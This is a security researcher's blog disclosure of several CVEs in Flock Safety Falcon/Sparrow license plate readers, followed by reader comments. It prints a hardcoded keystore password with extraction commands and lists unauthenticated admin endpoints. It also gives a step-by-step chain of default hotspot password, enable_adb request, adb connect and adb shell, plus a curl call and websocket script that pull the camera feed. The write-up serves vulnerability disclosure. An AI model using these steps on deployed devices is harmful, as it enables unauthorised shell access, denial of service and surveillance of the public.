Fly-By – Device 2: The Falcon/Sparrow – Gated Wireless RCE, Camera Feed, DoS, Information Disclosure and More

All research was performed against a unit I owned and we did not and do not have any intention of disrupting any existing infrastructure. All disclosures are intended for research purposes only, on devices the researcher owns.

This was a fascinating discovery.

Quick info required by MITRE:

CVE-2025-59409
Vendor: Flock Safety
Model: Falcon/Sparrow License Plate Reader
Version Info: Flock Safety License Plate Readers, Falcon and Sparrow – v2.2, Android 8.1.0, Build ID OPM1.171019.026, Kernel 3.18.71, Baseband SWI9X07H_00.08.20.00) – No information on fix.
Problem Type: Hardcoded credentials / cryptographic key
Description: Flock Safety Falcon and Sparrow License Plate Readers OPM1.171019.026 ship with development Wi-Fi credentials (test_flck) stored in cleartext in production firmware.
Reference: Device Vendor Page

CVE-2025-59407
Vendor: Flock Safety
Model: Falcon/Sparrow License Plate Reader (Or anywhere the DetectionProcessing[Objects] Android Application is installed)
Version Info: Flock Safety DetectionProcessing Android application (com.flocksafety.android.objects v6.35.33) present on Falcon and Sparrow License Plate Readers and Bravo Edge AI Compute Devices – v6.35.33 – No information on version where this issue has been resolved.
Problem Type: Hardcoded credentials / cryptographic key
Description: The Flock Safety DetectionProcessing com.flocksafety.android.objects application 6.35.33 for Android (installed on Falcon and Sparrow License Plate Readers and Bravo Edge AI Compute Devices) bundles a Java Keystore (flock_rye.bks) along with its hardcoded password (flockhibiki17) in its code. The keystore contains a private key.
Reference: Device Vendor Page

CVE-2025-59406
Vendor: Flock Safety
Model: Falcon/Sparrow License Plate Reader (Or anywhere the Pisco Android Application is installed)
Version Info: Flock Safety Android Pisco application (com.flocksafety.android.pisco) present on Falcon and Sparrow License Plate Readers and Bravo Edge AI Compute Devices – v6.21.11 – No information on version where this issue has been resolved.
Problem Type: Use of Hard-coded Credentials
Description: The Flock Safety Pisco com.flocksafety.android.pisco application 6.21.11 for Android (installed on Falcon and Sparrow License Plate Readers and Bravo Edge AI Compute Devices) has a cleartext Auth0 client secret in its codebase. Because application binaries can be trivially decompiled or inspected, attackers can recover this OAuth secret without special privileges. This secret is intended to remain confidential and should never be embedded directly in client-side software.
Reference: Device Vendor Page

CVE-2025-59405
Vendor: Flock Safety
Model: Falcon/Sparrow License Plate Reader (Or anywhere the Peripheral Android Application is installed)
Version Info: Flock Safety Android Peripheral application (com.flocksafety.android.peripheral) present on Falcon and Sparrow License Plate Readers and Bravo Edge AI Compute Devices – v7.38.3 – No information on version where this issue has been resolved.
Problem Type: Use of Hard-coded Credentials
Description: The Flock Safety Peripheral com.flocksafety.android.peripheral application 7.38.3 for Android (installed on Falcon and Sparrow License Plate Readers and Bravo Edge AI Compute Devices) contains a cleartext DataDog API key within in its codebase. Because application binaries can be trivially decompiled or inspected, attackers can recover the OAuth secret without special privileges. This secret is intended to remain confidential and should never be embedded directly in client-side software.
Reference: Device Vendor Page

CVE-2025-59403
Vendor: Flock Safety
Model: Falcon/Sparrow License Plate Reader (Or anywhere the Collins Android Application is installed)
Version Info: Android Collins application (com.flocksafety.android.collins v6.35.31) shipped on Falcon and Sparrow License Plate Readers and Bravo Edge AI Compute Devices – v6.35.31 – No information on version where this issue has been resolved.
Problem Type: Incorrect Access Control
Description: The Flock Safety Android Collins application (aka com.flocksafety.android.collins) 6.35.31 for Android lacks authentication. It is responsible for the camera feed on Falcon, Sparrow, and Bravo devices, but exposes administrative API endpoints on port 8080 without authentication. Endpoints include but are not limited to: /reboot, /logs, /crashpack, and /adb/enable. This results in multiple impacts including denial of service (DoS) via /reboot, information disclosure via /logs, and remote code execution (RCE) via /adb/enable. The latter specifically results in adb being started over TCP without debugging confirmation, providing an attacker in the LAN/WLAN with shell access.
Reference: Device Vendor Page

To keep it brief as there’s still a lot to learn, the core ‘camera’ video service is owned and managed by android application named Collins, ‘com.flocksafety.android.collins.’ When I say core, I mean the ‘mjpeg’ or ‘rtsp’ servers as well as a websocket image server and most importantly an API server.

I will first go over some random findings, including some related to Collins and then I’ll close with a full attack path to get a wireless shell against the device.

So first off, there are some more hardcoded secrets, including some I’m sure have been brought to y’alls attention.

Vuln 1: Hardcoded Java Keystore & Password; Contains Private Key – CVE-2025-59407

1. Within ‘ConnectionClient’ there is a reference to a Java Keystore named ‘flock_rye’.

2. It also includes the Keystores password ‘flockhibiki17’.

3. Keystore living in the ‘Flock Objects’ application, aka the ‘DetectionProcessing’ application (com.flocksafety.android.objects).

Specifically within the /system-apps/flock-object/res/raw/ directory.

Grabbing the cert.pem and key.pem from the keystore:

4. Download the proper bouncycastle library:

wget https://repo1.maven.org/maven2/org/bouncycastle/bcprov-jdk15on/1.70/bcprov-jdk15on-1.70.jar -O bcprov.jar

5. Fingerprint the ‘flock_rye.bks’ to confirm it isn’t corrupted:

keytool -list -keystore flock_rye.bks -storetype BKS -providerclass org.bouncycastle.jce.provider.BouncyCastleProvider -providerpath bcprov.jar

6. Extract the ‘cert.pem’ from the keystore using the password that is hardcoded:

keytool -exportcert -alias selfsigned -keystore flock_rye.bks -storetype BKS   -providerclass org.bouncycastle.jce.provider.BouncyCastleProvider -providerpath bcprov.jar -file cert.pem

Grab the private key from by first importing it:

keytool -importkeystore -srckeystore flock_rye.bks -srcstoretype BKS   -srcstorepass flockhibiki17 -srcalias selfsigned -destkeystore output.p12   -deststoretype PKCS12   -deststorepass flockhibiki17 -providerclass org.bouncycastle.jce.provider.BouncyCastleProvider -providerpath bcprov.jar

7. Use ‘openssl’ to extract it:

8. Confirm it’s validity by using ‘cat’:

Vulnerability 2: Development/Test Credentials in Production – CVE-2025-59409

This one is simple, one of the LPRs was found to have credentials saved still for the ‘test_flck’ access point. So I’d make sure that you don’t use the same password across all test APs and that you change it at the ones you do.

This can also lead to the device auto connect to a evil twin if its wireless interface is brought up at any point.

Vulnerability 3: Hardcoded OAuth Secret in Android App – CVE-2025-59406

Within the decompiled code of the ‘Pisco’, ‘com.flocksafety.android.pisco’ application is a hardcoded client secret:

Vulnerability 4: DataDog API Token Hardcoded – CVE-2025-59405

Flock Safety’s Android Peripheral application (com.flocksafety.android.peripheral v7.38.3) present on Falcon and Sparrow License Plate Readers and Bravo Edge AI Compute Devices contain a hardcoded DataDog API Token.

Vulnerability 5: Unauthenticated Administrative API Endpoints – CVE-2025-59403

The Collin’s API server found to be running on port 8080 contains a number of sensitive endpoints that allow an unauthenticated attacker on the same network to reveal information, change configurations, disable or enable services, DoS , gain remote code execution (RCE) and more.

Overall sensitive information disclosure including lots of information that even the restricted ‘shell’ user cannot access is disclosed. Below some of the endpoints and what they disclose:

PUT /api/v1/liveView/enable → activates JPEG or RTSP streaming (startLiveView(true))
PUT /api/v1/liveView/disable → deactivates stream
PUT /api/v1/system/reboot → triggers reboot handler
PUT /api/v1/system/switch/enable → toggles internal system state
GET /api/v1/system/modem → modem stats
GET /api/v1/system/battery → battery info
GET /api/v1/system/os → build/version info
GET /api/v1/system/apps → app version report
GET /api/v1/system/logs → diagnostics dump
GET /api/v1/system/crashpack → crash report bundle
PUT /api/v1/system/battery/disable_internal → disables battery internally (likely shutdown governor)
PUT /api/v1/system/battery/shutdown_delay → modifies auto-shutdown delay
PUT /api/v1/system/enable_adb → enables adb over TCP without adb authentication

Here’s some examples, demonstrating that it is indeed unauthenticated and although the device is hardcoded to use the 192.168.43.1/24 network, all of at least Collins services are listening on every interface.

Hit these endpoints.

Walking through it. When the device is in ‘operational’ mode, Collins automatically runs when it completes booting up. Compared to when its not. In this example, the device’s auth0 status is ‘operational’ which means Collins runs on boot and isn’t in a standby state.

When this isn’t the case, the Collins application is in a stand-by state until Sambuca confirms the auth0 status is valid, auth0 status is configured to be disabled or manually start the Collins application via the GUI or ‘monkey.’

It is because of this, that this attack chain works.

[Gated*] Wireless RCE Chain – CVE-2025-59403

1. Device boots up completely up or skip if it’s already booted.

2. Button press sequence that starts the hostspot.

This will have the device start it’s ‘hostapd’ daemon

msm8953_32:/ # ps -A | grep host
wifi          2884     1    6828   2300 poll_schedule_timeout b6a1f7c8 S hostapd

Leverage the fact that Flock devices (even outside of The Falcon/Sparrow), per CVE-2025-47818 (CVE-2025-59409 Is likely going to cover this one), have the same default hotspot password of ‘security’ as previously disclosed to connect to its hotspot.

Confirm it is on the same network:

Then for the sake of the research steps, portscan it to see if port 5555 is open:

nmap -Pn -p5555 -v 

Confirm it is not:

The ‘adb/enable’ endpoint to activate ADB over TCP unauthenticated.

Note it responds ‘adb connected.’

Use adb to connect to the device:

adb connect 192.168.43.1:5555

And to confirm it is connected:

adb devices

And then create a shell to get RCE:

adb shell

Root Access and Selinux being permissive is NOT required nor is ANY modifications to any firmware or configurations.

According to wigle.net there are over 900 hits some from 2025, that are in the wild with their hotspot active. HERE

Additionally, it is possible to activate/deactivate the MJPEG (and likely RTSP) video server over the WLAN and access the frame via Websocket as well.

Start the LPR camera web service:

CURL -X PUT http://192.168.43.1:8080/api/v1/liveView/enable

A click or two indicates its now recording.

Here’s a code snippet to access the Websocket to get the video frames unauthenticated:

const WebSocket = require('ws');
const fs = require('fs');
const ws = new WebSocket('ws://192.168.43.1:1040/');
let frameCount = 0;
ws.on('message', function(data) {
  fs.writeFileSync(`${process.env.HOME}/imagefeed/frame_${frameCount++}.jpg`, Buffer.from(data));
});

Running the websocket client with ‘node websocket.js’ and view the frame

And then alternatively access the feed via ffplay:

ffplay -f mjpeg http://192.168.43.1:1234/

View all my write-ups in regards to my Flock Safety Security Research:

Part 1: Bird Hunting Season – Security Research on Flock Safety’s Anti-Crime Systems: HERE
Part 2: Plucked and Rooted – Device 1: Debug Shell on Flock Safety’s Raven Gunshot Detection System: HERE
Part 3: Grounded Flight – Device 2: Root Shell on Flock Safety’s Falcon/Sparrow Automated License Plate Reader: HERE
Part 4: Trap Shooter – Flock Safety Sniffer & Alarm: HERE
Part 5: Root from the Coop – Device 3: Root Shell on Flock Safety’s Bravo Compute Box: HERE
Part 6: Fly-By – Device 2: The Falcon/Sparrow – Gated Wireless RCE, Camera Feed, DoS, Information Disclosure and More: HERE
Part 7: Button Presses to Wireless RCE: Shell on Flock Safety’s License Plate Cameras Over Wi-Fi: HERE

END TRANSMISSION

7 thoughts on “Fly-By – Device 2: The Falcon/Sparrow – Gated Wireless RCE, Camera Feed, DoS, Information Disclosure and More

    1. That’s the range extender, I haven’t had the chance to my hands on one of these, hopefully soon.

      There are the regular LPR available on EBay as well though

      1. Wow. That’s… dire. Breaking in to actively used monitoring devices (even for something like license plates) shouldn’t be this easy… They really didn’t bother to secure much of anything. The implications…

    1. The units I had for research (whether they be the LPRs or whatever) I believe had references to 2024 or older. Idk if they were the latest firmware or anything.

  1. I want to know who spooked you in to changing the post titles, hiding content of these posts, deleting your tweets, etc.

Leave a Reply